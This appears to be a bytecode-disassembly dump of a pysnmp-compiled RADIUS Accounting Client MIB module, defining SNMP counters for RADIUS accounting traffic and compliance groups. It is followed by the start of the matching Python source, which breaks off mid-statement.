EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_NAME radiusAccClientRequests LOAD_METHOD setDescription LOAD_CONST 'The number of RADIUS Accounting-Request packets\n sent. This does not include retransmissions.' CALL_METHOD POP_TOP LOAD_NAME MibTableColumn LOAD_CONST (1, 3, 6, 1, 2, 1, 67, 2, 2, 1, 1, 3, 1, 6) LOAD_NAME Counter32 CALL_FUNCTION CALL_FUNCTION LOAD_METHOD setUnits LOAD_CONST 'packets' CALL_METHOD LOAD_METHOD setMaxAccess LOAD_CONST 'readonly' CALL_METHOD STORE_NAME radiusAccClientRetransmissions LOAD_NAME mibBuilder LOAD_ATTR loadTexts EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_NAME radiusAccClientRetransmissions LOAD_METHOD setDescription LOAD_CONST 'The number of RADIUS Accounting-Request packets\n retransmitted to this RADIUS accounting server.\n Retransmissions include retries where the\n Identifier and Acct-Delay have been updated, as\n well as those in which they remain the same.' CALL_METHOD POP_TOP LOAD_NAME MibTableColumn LOAD_CONST (1, 3, 6, 1, 2, 1, 67, 2, 2, 1, 1, 3, 1, 7) LOAD_NAME Counter32 CALL_FUNCTION CALL_FUNCTION LOAD_METHOD setUnits LOAD_CONST 'packets' CALL_METHOD LOAD_METHOD setMaxAccess LOAD_CONST 'readonly' CALL_METHOD STORE_NAME radiusAccClientResponses LOAD_NAME mibBuilder LOAD_ATTR loadTexts EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_NAME radiusAccClientResponses LOAD_METHOD setDescription LOAD_CONST 'The number of RADIUS packets received on the\n accounting port from this server.' CALL_METHOD POP_TOP LOAD_NAME MibTableColumn LOAD_CONST (1, 3, 6, 1, 2, 1, 67, 2, 2, 1, 1, 3, 1, 8) LOAD_NAME Counter32 CALL_FUNCTION CALL_FUNCTION LOAD_METHOD setUnits LOAD_CONST 'packets' CALL_METHOD LOAD_METHOD setMaxAccess LOAD_CONST 'readonly' CALL_METHOD STORE_NAME radiusAccClientMalformedResponses LOAD_NAME mibBuilder LOAD_ATTR loadTexts EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_NAME radiusAccClientMalformedResponses LOAD_METHOD setDescription LOAD_CONST 'The number of malformed RADIUS Accounting-Response\n packets received from this server. Malformed packets\n include packets with an invalid length. Bad\n authenticators and unknown types are not included as\n malformed accounting responses.' CALL_METHOD POP_TOP LOAD_NAME MibTableColumn LOAD_CONST (1, 3, 6, 1, 2, 1, 67, 2, 2, 1, 1, 3, 1, 9) LOAD_NAME Counter32 CALL_FUNCTION CALL_FUNCTION LOAD_METHOD setUnits LOAD_CONST 'packets' CALL_METHOD LOAD_METHOD setMaxAccess LOAD_CONST 'readonly' CALL_METHOD STORE_NAME radiusAccClientBadAuthenticators LOAD_NAME mibBuilder LOAD_ATTR loadTexts EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_NAME radiusAccClientBadAuthenticators LOAD_METHOD setDescription LOAD_CONST 'The number of RADIUS Accounting-Response\n packets that contained invalid authenticators\n received from this server.' CALL_METHOD POP_TOP LOAD_NAME MibTableColumn LOAD_CONST (1, 3, 6, 1, 2, 1, 67, 2, 2, 1, 1, 3, 1, 10) LOAD_NAME Gauge32 CALL_FUNCTION CALL_FUNCTION LOAD_METHOD setUnits LOAD_CONST 'packets' CALL_METHOD LOAD_METHOD setMaxAccess LOAD_CONST 'readonly' CALL_METHOD STORE_NAME radiusAccClientPendingRequests LOAD_NAME mibBuilder LOAD_ATTR loadTexts EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_NAME radiusAccClientPendingRequests LOAD_METHOD setDescription LOAD_CONST 'The number of RADIUS Accounting-Request packets\n sent to this server that have not yet timed out or\n received a response. This variable is incremented\n when an Accounting-Request is sent and decremented\n due to receipt of an Accounting-Response, a timeout,\n or a retransmission.' CALL_METHOD POP_TOP LOAD_NAME MibTableColumn LOAD_CONST (1, 3, 6, 1, 2, 1, 67, 2, 2, 1, 1, 3, 1, 11) LOAD_NAME Counter32 CALL_FUNCTION CALL_FUNCTION LOAD_METHOD setUnits LOAD_CONST 'timeouts' CALL_METHOD LOAD_METHOD setMaxAccess LOAD_CONST 'readonly' CALL_METHOD STORE_NAME radiusAccClientTimeouts LOAD_NAME mibBuilder LOAD_ATTR loadTexts EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_NAME radiusAccClientTimeouts LOAD_METHOD setDescription LOAD_CONST 'The number of accounting timeouts to this server.\n After a timeout, the client may retry to the same\n server, send to a different server, or give up.\n A retry to the same server is counted as a\n retransmit as well as a timeout. A send to a different\n server is counted as an Accounting-Request as well as\n a timeout.' CALL_METHOD POP_TOP LOAD_NAME MibTableColumn LOAD_CONST (1, 3, 6, 1, 2, 1, 67, 2, 2, 1, 1, 3, 1, 12) LOAD_NAME Counter32 CALL_FUNCTION CALL_FUNCTION LOAD_METHOD setUnits LOAD_CONST 'packets' CALL_METHOD LOAD_METHOD setMaxAccess LOAD_CONST 'readonly' CALL_METHOD STORE_NAME radiusAccClientUnknownTypes LOAD_NAME mibBuilder LOAD_ATTR loadTexts EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_NAME radiusAccClientUnknownTypes LOAD_METHOD setDescription LOAD_CONST 'The number of RADIUS packets of unknown type that\n were received from this server on the accounting port.' CALL_METHOD POP_TOP LOAD_NAME MibTableColumn LOAD_CONST (1, 3, 6, 1, 2, 1, 67, 2, 2, 1, 1, 3, 1, 13) LOAD_NAME Counter32 CALL_FUNCTION CALL_FUNCTION LOAD_METHOD setUnits LOAD_CONST 'packets' CALL_METHOD LOAD_METHOD setMaxAccess LOAD_CONST 'readonly' CALL_METHOD STORE_NAME radiusAccClientPacketsDropped LOAD_NAME mibBuilder LOAD_ATTR loadTexts EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_NAME radiusAccClientPacketsDropped LOAD_METHOD setDescription LOAD_CONST 'The number of RADIUS packets that were received from\n this server on the accounting port and dropped for some\n other reason.' CALL_METHOD POP_TOP LOAD_NAME MibTable LOAD_CONST (1, 3, 6, 1, 2, 1, 67, 2, 2, 1, 1, 4) CALL_FUNCTION STORE_NAME radiusAccServerExtTable LOAD_NAME mibBuilder LOAD_ATTR loadTexts EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_NAME radiusAccServerExtTable LOAD_METHOD setDescription LOAD_CONST 'The (conceptual) table listing the RADIUS accounting\n servers with which the client shares a secret.' CALL_METHOD POP_TOP LOAD_NAME MibTableRow LOAD_CONST (1, 3, 6, 1, 2, 1, 67, 2, 2, 1, 1, 4, 1) CALL_FUNCTION LOAD_METHOD setIndexNames LOAD_CONST (0, 'RADIUS-ACC-CLIENT-MIB', 'radiusAccServerExtIndex') CALL_METHOD STORE_NAME radiusAccServerExtEntry LOAD_NAME mibBuilder LOAD_ATTR loadTexts EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_NAME radiusAccServerExtEntry LOAD_METHOD setDescription LOAD_CONST 'An entry (conceptual row) representing a RADIUS\n accounting server with which the client shares a\n secret.' CALL_METHOD POP_TOP LOAD_NAME MibTableColumn LOAD_CONST (1, 3, 6, 1, 2, 1, 67, 2, 2, 1, 1, 4, 1, 1) LOAD_NAME Integer32 CALL_FUNCTION LOAD_ATTR subtype LOAD_NAME ValueRangeConstraint LOAD_CONST 1 LOAD_CONST 2147483647 CALL_FUNCTION LOAD_CONST ('subtypeSpec',) CALL_FUNCTION CALL_FUNCTION STORE_NAME radiusAccServerExtIndex LOAD_NAME mibBuilder LOAD_ATTR loadTexts EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_NAME radiusAccServerExtIndex LOAD_METHOD setDescription LOAD_CONST 'A number uniquely identifying each RADIUS\n Accounting server with which this client\n communicates.' CALL_METHOD POP_TOP LOAD_NAME MibTableColumn LOAD_CONST (1, 3, 6, 1, 2, 1, 67, 2, 2, 1, 1, 4, 1, 2) LOAD_NAME InetAddressType CALL_FUNCTION CALL_FUNCTION LOAD_METHOD setMaxAccess LOAD_CONST 'readonly' CALL_METHOD STORE_NAME radiusAccServerInetAddressType LOAD_NAME mibBuilder LOAD_ATTR loadTexts EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_NAME radiusAccServerInetAddressType LOAD_METHOD setDescription LOAD_CONST 'The type of address format used for the\n radiusAccServerInetAddress object.' CALL_METHOD POP_TOP LOAD_NAME MibTableColumn LOAD_CONST (1, 3, 6, 1, 2, 1, 67, 2, 2, 1, 1, 4, 1, 3) LOAD_NAME InetAddress CALL_FUNCTION CALL_FUNCTION LOAD_METHOD setMaxAccess LOAD_CONST 'readonly' CALL_METHOD STORE_NAME radiusAccServerInetAddress LOAD_NAME mibBuilder LOAD_ATTR loadTexts EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_NAME radiusAccServerInetAddress LOAD_METHOD setDescription LOAD_CONST 'The IP address of the RADIUS accounting\n server referred to in this table entry, using\n the version-neutral IP address format.' CALL_METHOD POP_TOP LOAD_NAME MibTableColumn LOAD_CONST (1, 3, 6, 1, 2, 1, 67, 2, 2, 1, 1, 4, 1, 4) LOAD_NAME InetPortNumber CALL_FUNCTION LOAD_ATTR subtype LOAD_NAME ValueRangeConstraint LOAD_CONST 1 LOAD_CONST 65535 CALL_FUNCTION LOAD_CONST ('subtypeSpec',) CALL_FUNCTION CALL_FUNCTION LOAD_METHOD setMaxAccess LOAD_CONST 'readonly' CALL_METHOD STORE_NAME radiusAccClientServerInetPortNumber LOAD_NAME mibBuilder LOAD_ATTR loadTexts EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_NAME radiusAccClientServerInetPortNumber LOAD_METHOD setDescription LOAD_CONST 'The UDP port the client is using to send requests\n to this accounting server. The value zero (0) is\n invalid.' CALL_METHOD POP_TOP LOAD_NAME MibTableColumn LOAD_CONST (1, 3, 6, 1, 2, 1, 67, 2, 2, 1, 1, 4, 1, 5) LOAD_NAME TimeTicks CALL_FUNCTION CALL_FUNCTION LOAD_METHOD setMaxAccess LOAD_CONST 'readonly' CALL_METHOD STORE_NAME radiusAccClientExtRoundTripTime LOAD_NAME mibBuilder LOAD_ATTR loadTexts EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_NAME radiusAccClientExtRoundTripTime LOAD_METHOD setDescription LOAD_CONST 'The time interval between the most recent\n Accounting-Response and the Accounting-Request that\n matched it from this RADIUS accounting server.' CALL_METHOD POP_TOP LOAD_NAME MibTableColumn LOAD_CONST (1, 3, 6, 1, 2, 1, 67, 2, 2, 1, 1, 4, 1, 6) LOAD_NAME Counter32 CALL_FUNCTION CALL_FUNCTION LOAD_METHOD setUnits LOAD_CONST 'packets' CALL_METHOD LOAD_METHOD setMaxAccess LOAD_CONST 'readonly' CALL_METHOD STORE_NAME radiusAccClientExtRequests LOAD_NAME mibBuilder LOAD_ATTR loadTexts EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_NAME radiusAccClientExtRequests LOAD_METHOD setDescription LOAD_CONST 'The number of RADIUS Accounting-Request packets\n sent. This does not include retransmissions.\n This counter may experience a discontinuity when the\n RADIUS Accounting Client module within the managed\n entity is reinitialized, as indicated by the current\n value of radiusAccClientCounterDiscontinuity.' CALL_METHOD POP_TOP LOAD_NAME MibTableColumn LOAD_CONST (1, 3, 6, 1, 2, 1, 67, 2, 2, 1, 1, 4, 1, 7) LOAD_NAME Counter32 CALL_FUNCTION CALL_FUNCTION LOAD_METHOD setUnits LOAD_CONST 'packets' CALL_METHOD LOAD_METHOD setMaxAccess LOAD_CONST 'readonly' CALL_METHOD STORE_NAME radiusAccClientExtRetransmissions LOAD_NAME mibBuilder LOAD_ATTR loadTexts EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_NAME radiusAccClientExtRetransmissions LOAD_METHOD setDescription LOAD_CONST 'The number of RADIUS Accounting-Request packets\n retransmitted to this RADIUS accounting server.\n Retransmissions include retries where the\n Identifier and Acct-Delay have been updated, as\n well as those in which they remain the same.\n This counter may experience a discontinuity when the\n RADIUS Accounting Client module within the managed\n entity is reinitialized, as indicated by the current\n value of radiusAccClientCounterDiscontinuity.' CALL_METHOD POP_TOP LOAD_NAME MibTableColumn LOAD_CONST (1, 3, 6, 1, 2, 1, 67, 2, 2, 1, 1, 4, 1, 8) LOAD_NAME Counter32 CALL_FUNCTION CALL_FUNCTION LOAD_METHOD setUnits LOAD_CONST 'packets' CALL_METHOD LOAD_METHOD setMaxAccess LOAD_CONST 'readonly' CALL_METHOD STORE_NAME radiusAccClientExtResponses LOAD_NAME mibBuilder LOAD_ATTR loadTexts EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_NAME radiusAccClientExtResponses LOAD_METHOD setDescription LOAD_CONST 'The number of RADIUS packets received on the\n accounting port from this server. This counter\n may experience a discontinuity when the RADIUS\n Accounting Client module within the managed entity is\n reinitialized, as indicated by the current value of\n radiusAccClientCounterDiscontinuity.' CALL_METHOD POP_TOP LOAD_NAME MibTableColumn LOAD_CONST (1, 3, 6, 1, 2, 1, 67, 2, 2, 1, 1, 4, 1, 9) LOAD_NAME Counter32 CALL_FUNCTION CALL_FUNCTION LOAD_METHOD setUnits LOAD_CONST 'packets' CALL_METHOD LOAD_METHOD setMaxAccess LOAD_CONST 'readonly' CALL_METHOD STORE_NAME radiusAccClientExtMalformedResponses LOAD_NAME mibBuilder LOAD_ATTR loadTexts EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_NAME radiusAccClientExtMalformedResponses LOAD_METHOD setDescription LOAD_CONST 'The number of malformed RADIUS Accounting-Response\n packets received from this server. Malformed packets\n include packets with an invalid length. Bad\n authenticators and unknown types are not included as\n malformed accounting responses. This counter may\n experience a discontinuity when the RADIUS Accounting\n Client module within the managed entity is\n reinitialized, as indicated by the current\n value of radiusAccClientCounterDiscontinuity.' CALL_METHOD POP_TOP LOAD_NAME MibTableColumn LOAD_CONST (1, 3, 6, 1, 2, 1, 67, 2, 2, 1, 1, 4, 1, 10) LOAD_NAME Counter32 CALL_FUNCTION CALL_FUNCTION LOAD_METHOD setUnits LOAD_CONST 'packets' CALL_METHOD LOAD_METHOD setMaxAccess LOAD_CONST 'readonly' CALL_METHOD STORE_NAME radiusAccClientExtBadAuthenticators LOAD_NAME mibBuilder LOAD_ATTR loadTexts EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_NAME radiusAccClientExtBadAuthenticators LOAD_METHOD setDescription LOAD_CONST 'The number of RADIUS Accounting-Response\n packets that contained invalid authenticators\n received from this server. This counter may\n experience a discontinuity when the RADIUS\n Accounting Client module within the managed\n entity is reinitialized, as indicated by the\n current value of\n radiusAccClientCounterDiscontinuity.' CALL_METHOD POP_TOP LOAD_NAME MibTableColumn LOAD_CONST (1, 3, 6, 1, 2, 1, 67, 2, 2, 1, 1, 4, 1, 11) LOAD_NAME Gauge32 CALL_FUNCTION CALL_FUNCTION LOAD_METHOD setUnits LOAD_CONST 'packets' CALL_METHOD LOAD_METHOD setMaxAccess LOAD_CONST 'readonly' CALL_METHOD STORE_NAME radiusAccClientExtPendingRequests LOAD_NAME mibBuilder LOAD_ATTR loadTexts EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_NAME radiusAccClientExtPendingRequests LOAD_METHOD setDescription LOAD_CONST 'The number of RADIUS Accounting-Request packets\n sent to this server that have not yet timed out or\n received a response. This variable is incremented\n when an Accounting-Request is sent and decremented\n due to receipt of an Accounting-Response, a timeout,\n or a retransmission. This counter may experience a\n discontinuity when the RADIUS Accounting Client module\n within the managed entity is reinitialized, as\n indicated by the current value of\n radiusAccClientCounterDiscontinuity.' CALL_METHOD POP_TOP LOAD_NAME MibTableColumn LOAD_CONST (1, 3, 6, 1, 2, 1, 67, 2, 2, 1, 1, 4, 1, 12) LOAD_NAME Counter32 CALL_FUNCTION CALL_FUNCTION LOAD_METHOD setUnits LOAD_CONST 'timeouts' CALL_METHOD LOAD_METHOD setMaxAccess LOAD_CONST 'readonly' CALL_METHOD STORE_NAME radiusAccClientExtTimeouts LOAD_NAME mibBuilder LOAD_ATTR loadTexts EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_NAME radiusAccClientExtTimeouts LOAD_METHOD setDescription LOAD_CONST 'The number of accounting timeouts to this server.\n After a timeout, the client may retry to the same\n server, send to a different server, or give up.\n A retry to the same server is counted as a\n retransmit as well as a timeout. A send to a different\n server is counted as an Accounting-Request as well as\n a timeout. This counter may experience a discontinuity\n when the RADIUS Accounting Client module within the\n managed entity is reinitialized, as indicated by the\n current value of radiusAccClientCounterDiscontinuity.' CALL_METHOD POP_TOP LOAD_NAME MibTableColumn LOAD_CONST (1, 3, 6, 1, 2, 1, 67, 2, 2, 1, 1, 4, 1, 13) LOAD_NAME Counter32 CALL_FUNCTION CALL_FUNCTION LOAD_METHOD setUnits LOAD_CONST 'packets' CALL_METHOD LOAD_METHOD setMaxAccess LOAD_CONST 'readonly' CALL_METHOD STORE_NAME radiusAccClientExtUnknownTypes LOAD_NAME mibBuilder LOAD_ATTR loadTexts EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_NAME radiusAccClientExtUnknownTypes LOAD_METHOD setDescription LOAD_CONST 'The number of RADIUS packets of unknown type that\n were received from this server on the accounting port.\n This counter may experience a discontinuity when the\n RADIUS Accounting Client module within the managed\n entity is reinitialized, as indicated by the current\n value of radiusAccClientCounterDiscontinuity.' CALL_METHOD POP_TOP LOAD_NAME MibTableColumn LOAD_CONST (1, 3, 6, 1, 2, 1, 67, 2, 2, 1, 1, 4, 1, 14) LOAD_NAME Counter32 CALL_FUNCTION CALL_FUNCTION LOAD_METHOD setUnits LOAD_CONST 'packets' CALL_METHOD LOAD_METHOD setMaxAccess LOAD_CONST 'readonly' CALL_METHOD STORE_NAME radiusAccClientExtPacketsDropped LOAD_NAME mibBuilder LOAD_ATTR loadTexts EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_NAME radiusAccClientExtPacketsDropped LOAD_METHOD setDescription LOAD_CONST 'The number of RADIUS packets that were received from\n this server on the accounting port and dropped for some\n other reason. This counter may experience a\n discontinuity when the RADIUS Accounting Client module\n within the managed entity is reinitialized, as indicated\n by the current value of\n radiusAccClientCounterDiscontinuity.' CALL_METHOD POP_TOP LOAD_NAME MibTableColumn LOAD_CONST (1, 3, 6, 1, 2, 1, 67, 2, 2, 1, 1, 4, 1, 15) LOAD_NAME TimeTicks CALL_FUNCTION CALL_FUNCTION LOAD_METHOD setUnits LOAD_CONST 'centiseconds' CALL_METHOD LOAD_METHOD setMaxAccess LOAD_CONST 'readonly' CALL_METHOD STORE_NAME radiusAccClientCounterDiscontinuity LOAD_NAME mibBuilder LOAD_ATTR loadTexts EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_NAME radiusAccClientCounterDiscontinuity LOAD_METHOD setDescription LOAD_CONST 'The number of centiseconds since the last\n discontinuity in the RADIUS Accounting Client\n counters. A discontinuity may be the result of a\n reinitialization of the RADIUS Accounting Client\n module within the managed entity.' CALL_METHOD POP_TOP LOAD_NAME MibIdentifier LOAD_CONST (1, 3, 6, 1, 2, 1, 67, 2, 2, 2) CALL_FUNCTION STORE_NAME radiusAccClientMIBConformance LOAD_NAME MibIdentifier LOAD_CONST (1, 3, 6, 1, 2, 1, 67, 2, 2, 2, 1) CALL_FUNCTION STORE_NAME radiusAccClientMIBCompliances LOAD_NAME MibIdentifier LOAD_CONST (1, 3, 6, 1, 2, 1, 67, 2, 2, 2, 2) CALL_FUNCTION STORE_NAME radiusAccClientMIBGroups LOAD_NAME ModuleCompliance LOAD_CONST (1, 3, 6, 1, 2, 1, 67, 2, 2, 2, 1, 1) CALL_FUNCTION LOAD_ATTR setObjects LOAD_CONST (('RADIUS-ACC-CLIENT-MIB', 'radiusAccClientMIBGroup'),) CALL_FUNCTION STORE_NAME radiusAccClientMIBCompliance LOAD_NAME mibBuilder LOAD_ATTR loadTexts EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_NAME radiusAccClientMIBCompliance LOAD_METHOD setDescription LOAD_CONST 'The compliance statement for accounting clients\n implementing the RADIUS Accounting Client MIB.\n Implementation of this module is for IPv4-only\n entities, or for backwards compatibility use with\n entities that support both IPv4 and IPv6.' CALL_METHOD POP_TOP LOAD_NAME ModuleCompliance LOAD_CONST (1, 3, 6, 1, 2, 1, 67, 2, 2, 2, 1, 2) CALL_FUNCTION LOAD_ATTR setObjects LOAD_CONST (('RADIUS-ACC-CLIENT-MIB', 'radiusAccClientExtMIBGroup'),) CALL_FUNCTION STORE_NAME radiusAccClientExtMIBCompliance LOAD_NAME mibBuilder LOAD_ATTR loadTexts EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_NAME radiusAccClientExtMIBCompliance LOAD_METHOD setDescription LOAD_CONST 'The compliance statement for accounting\n clients implementing the RADIUS Accounting\n Client IPv6 Extensions MIB. Implementation of\n this module is for entities that support IPv6,\n or support IPv4 and IPv6.' CALL_METHOD POP_TOP LOAD_NAME ObjectGroup LOAD_CONST (1, 3, 6, 1, 2, 1, 67, 2, 2, 2, 2, 1) CALL_FUNCTION LOAD_ATTR setObjects LOAD_CONST (('RADIUS-ACC-CLIENT-MIB', 'radiusAccClientIdentifier'), ('RADIUS-ACC-CLIENT-MIB', 'radiusAccClientInvalidServerAddresses'), ('RADIUS-ACC-CLIENT-MIB', 'radiusAccServerAddress'), ('RADIUS-ACC-CLIENT-MIB', 'radiusAccClientServerPortNumber'), ('RADIUS-ACC-CLIENT-MIB', 'radiusAccClientRoundTripTime'), ('RADIUS-ACC-CLIENT-MIB', 'radiusAccClientRequests'), ('RADIUS-ACC-CLIENT-MIB', 'radiusAccClientRetransmissions'), ('RADIUS-ACC-CLIENT-MIB', 'radiusAccClientResponses'), ('RADIUS-ACC-CLIENT-MIB', 'radiusAccClientMalformedResponses'), ('RADIUS-ACC-CLIENT-MIB', 'radiusAccClientBadAuthenticators'), ('RADIUS-ACC-CLIENT-MIB', 'radiusAccClientPendingRequests'), ('RADIUS-ACC-CLIENT-MIB', 'radiusAccClientTimeouts'), ('RADIUS-ACC-CLIENT-MIB', 'radiusAccClientUnknownTypes'), ('RADIUS-ACC-CLIENT-MIB', 'radiusAccClientPacketsDropped')) CALL_FUNCTION STORE_NAME radiusAccClientMIBGroup LOAD_NAME mibBuilder LOAD_ATTR loadTexts EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_NAME radiusAccClientMIBGroup LOAD_METHOD setDescription LOAD_CONST 'The basic collection of objects providing management of\n RADIUS Accounting Clients.' CALL_METHOD POP_TOP LOAD_NAME ObjectGroup LOAD_CONST (1, 3, 6, 1, 2, 1, 67, 2, 2, 2, 2, 2) CALL_FUNCTION LOAD_ATTR setObjects LOAD_CONST (('RADIUS-ACC-CLIENT-MIB', 'radiusAccClientIdentifier'), ('RADIUS-ACC-CLIENT-MIB', 'radiusAccClientInvalidServerAddresses'), ('RADIUS-ACC-CLIENT-MIB', 'radiusAccServerInetAddressType'), ('RADIUS-ACC-CLIENT-MIB', 'radiusAccServerInetAddress'), ('RADIUS-ACC-CLIENT-MIB', 'radiusAccClientServerInetPortNumber'), ('RADIUS-ACC-CLIENT-MIB', 'radiusAccClientExtRoundTripTime'), ('RADIUS-ACC-CLIENT-MIB', 'radiusAccClientExtRequests'), ('RADIUS-ACC-CLIENT-MIB', 'radiusAccClientExtRetransmissions'), ('RADIUS-ACC-CLIENT-MIB', 'radiusAccClientExtResponses'), ('RADIUS-ACC-CLIENT-MIB', 'radiusAccClientExtMalformedResponses'), ('RADIUS-ACC-CLIENT-MIB', 'radiusAccClientExtBadAuthenticators'), ('RADIUS-ACC-CLIENT-MIB', 'radiusAccClientExtPendingRequests'), ('RADIUS-ACC-CLIENT-MIB', 'radiusAccClientExtTimeouts'), ('RADIUS-ACC-CLIENT-MIB', 'radiusAccClientExtUnknownTypes'), ('RADIUS-ACC-CLIENT-MIB', 'radiusAccClientExtPacketsDropped'), ('RADIUS-ACC-CLIENT-MIB', 'radiusAccClientCounterDiscontinuity')) CALL_FUNCTION STORE_NAME radiusAccClientExtMIBGroup LOAD_NAME mibBuilder LOAD_ATTR loadTexts EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_NAME radiusAccClientExtMIBGroup LOAD_METHOD setDescription LOAD_CONST 'The basic collection of objects providing management of\n RADIUS Accounting Clients.' CALL_METHOD POP_TOP LOAD_NAME mibBuilder LOAD_ATTR exportSymbols LOAD_CONST 'RADIUS-ACC-CLIENT-MIB' LOAD_NAME radiusAccServerInetAddressType LOAD_NAME radiusAccClientExtResponses LOAD_NAME radiusAccounting LOAD_NAME radiusAccClientServerPortNumber LOAD_NAME radiusAccClientMIB LOAD_NAME radiusAccClientRoundTripTime LOAD_NAME radiusAccClientMIBConformance LOAD_NAME radiusAccServerIndex LOAD_NAME radiusAccClientExtMIBGroup LOAD_NAME radiusAccClientUnknownTypes LOAD_NAME radiusAccServerInetAddress LOAD_NAME radiusAccClientIdentifier LOAD_NAME radiusAccClientMIB LOAD_NAME radiusAccClientRetransmissions LOAD_NAME radiusAccClientServerInetPortNumber LOAD_NAME radiusAccClientExtTimeouts LOAD_NAME radiusAccClientMIBCompliances LOAD_NAME radiusAccServerAddress LOAD_NAME radiusAccClientInvalidServerAddresses LOAD_NAME radiusAccServerExtEntry LOAD_NAME radiusAccClientPacketsDropped LOAD_NAME radiusAccClientExtPendingRequests LOAD_NAME radiusAccClientRequests LOAD_NAME radiusAccClientResponses LOAD_NAME radiusAccClientMIBObjects LOAD_NAME radiusAccClientMIBGroups LOAD_NAME radiusAccClientExtUnknownTypes LOAD_NAME radiusAccClientExtRetransmissions LOAD_NAME radiusAccClientExtRequests LOAD_NAME radiusAccServerExtIndex LOAD_NAME radiusAccServerEntry LOAD_NAME radiusAccClientExtRoundTripTime LOAD_NAME radiusAccClientExtMIBCompliance LOAD_NAME radiusAccClientPendingRequests LOAD_NAME radiusAccClient LOAD_NAME radiusAccClientExtBadAuthenticators LOAD_NAME radiusAccClientMIBCompliance LOAD_NAME radiusAccServerExtTable LOAD_NAME radiusAccClientMalformedResponses LOAD_NAME radiusAccClientTimeouts LOAD_NAME radiusAccClientMIBGroup LOAD_NAME radiusMIB LOAD_NAME radiusAccClientBadAuthenticators LOAD_NAME radiusAccClientExtMalformedResponses LOAD_NAME radiusAccClientExtPacketsDropped LOAD_NAME radiusAccServerTable LOAD_NAME radiusAccClientCounterDiscontinuity LOAD_CONST ('radiusAccServerInetAddressType', 'radiusAccClientExtResponses', 'radiusAccounting', 'radiusAccClientServerPortNumber', 'radiusAccClientMIB', 'radiusAccClientRoundTripTime', 'radiusAccClientMIBConformance', 'radiusAccServerIndex', 'radiusAccClientExtMIBGroup', 'radiusAccClientUnknownTypes', 'radiusAccServerInetAddress', 'radiusAccClientIdentifier', 'PYSNMP_MODULE_ID', 'radiusAccClientRetransmissions', 'radiusAccClientServerInetPortNumber', 'radiusAccClientExtTimeouts', 'radiusAccClientMIBCompliances', 'radiusAccServerAddress', 'radiusAccClientInvalidServerAddresses', 'radiusAccServerExtEntry', 'radiusAccClientPacketsDropped', 'radiusAccClientExtPendingRequests', 'radiusAccClientRequests', 'radiusAccClientResponses', 'radiusAccClientMIBObjects', 'radiusAccClientMIBGroups', 'radiusAccClientExtUnknownTypes', 'radiusAccClientExtRetransmissions', 'radiusAccClientExtRequests', 'radiusAccServerExtIndex', 'radiusAccServerEntry', 'radiusAccClientExtRoundTripTime', 'radiusAccClientExtMIBCompliance', 'radiusAccClientPendingRequests', 'radiusAccClient', 'radiusAccClientExtBadAuthenticators', 'radiusAccClientMIBCompliance', 'radiusAccServerExtTable', 'radiusAccClientMalformedResponses', 'radiusAccClientTimeouts', 'radiusAccClientMIBGroup', 'radiusMIB', 'radiusAccClientBadAuthenticators', 'radiusAccClientExtMalformedResponses', 'radiusAccClientExtPacketsDropped', 'radiusAccServerTable', 'radiusAccClientCounterDiscontinuity') CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE
( Integer, ObjectIdentifier, OctetString, ) = mibBuilder.importSymbols("ASN1", "Integer", "ObjectIdentifier", "OctetString") (NamedValues,) = mibBuilder.importSymbols("ASN1-ENUMERATION", "NamedValues") ( ConstraintsUnion, SingleValueConstraint, ConstraintsIntersection, ValueSizeConstraint, ValueRangeConstraint, ) = mibBuilder.importSymbols( "ASN1-REFINEMENT", "ConstraintsUnion", "SingleValueConstraint", "ConstraintsIntersection", "ValueSizeConstraint", "ValueRangeConstraint", ) ( InetPortNumber, InetAddress, InetAddressType, ) = mibBuilder.importSymbols( "INET-ADDRESS-MIB", "InetPortNumber", "InetAddress", "InetAddressType" ) (SnmpAdminString,) = mibBuilder.importSymbols("SNMP-FRAMEWORK-MIB", "SnmpAdminString") ( ModuleCompliance, ObjectGroup, NotificationGroup, ) = mibBuilder.importSymbols( "SNMPv2-CONF", "ModuleCompliance", "ObjectGroup", "NotificationGroup" ) ( mib_2, ModuleIdentity, Bits, NotificationType, Counter32, Counter64, MibIdentifier, Unsigned32, TimeTicks, Integer32, MibScalar, MibTable, MibTableRow, MibTableColumn, Gauge32, IpAddress, ObjectIdentity, iso, ) = mibBuilder.importSymbols( "SNMPv2-SMI", "mib-2", "ModuleIdentity", "Bits", "NotificationType", "Counter32", "Counter64", "MibIdentifier", "Unsigned32", "TimeTicks", "Integer32", "MibScalar", "MibTable", "MibTableRow", "MibTableColumn", "Gauge32", "IpAddress", "ObjectIdentity", "iso", ) ( TextualConvention, DisplayString, ) = mibBuilder.importSymbols("SNMPv2-TC", "TextualConvention", "DisplayString") radiusAccClientMIB = ModuleIdentity((1, 3, 6, 1, 2, 1, 67, 2, 2)).setRevisions( ( "2006-08-21 00:00", "1999-06-11 00:00", ) ) if mibBuilder.loadTexts: radiusAccClientMIB.setLastUpdated("200608210000Z") if 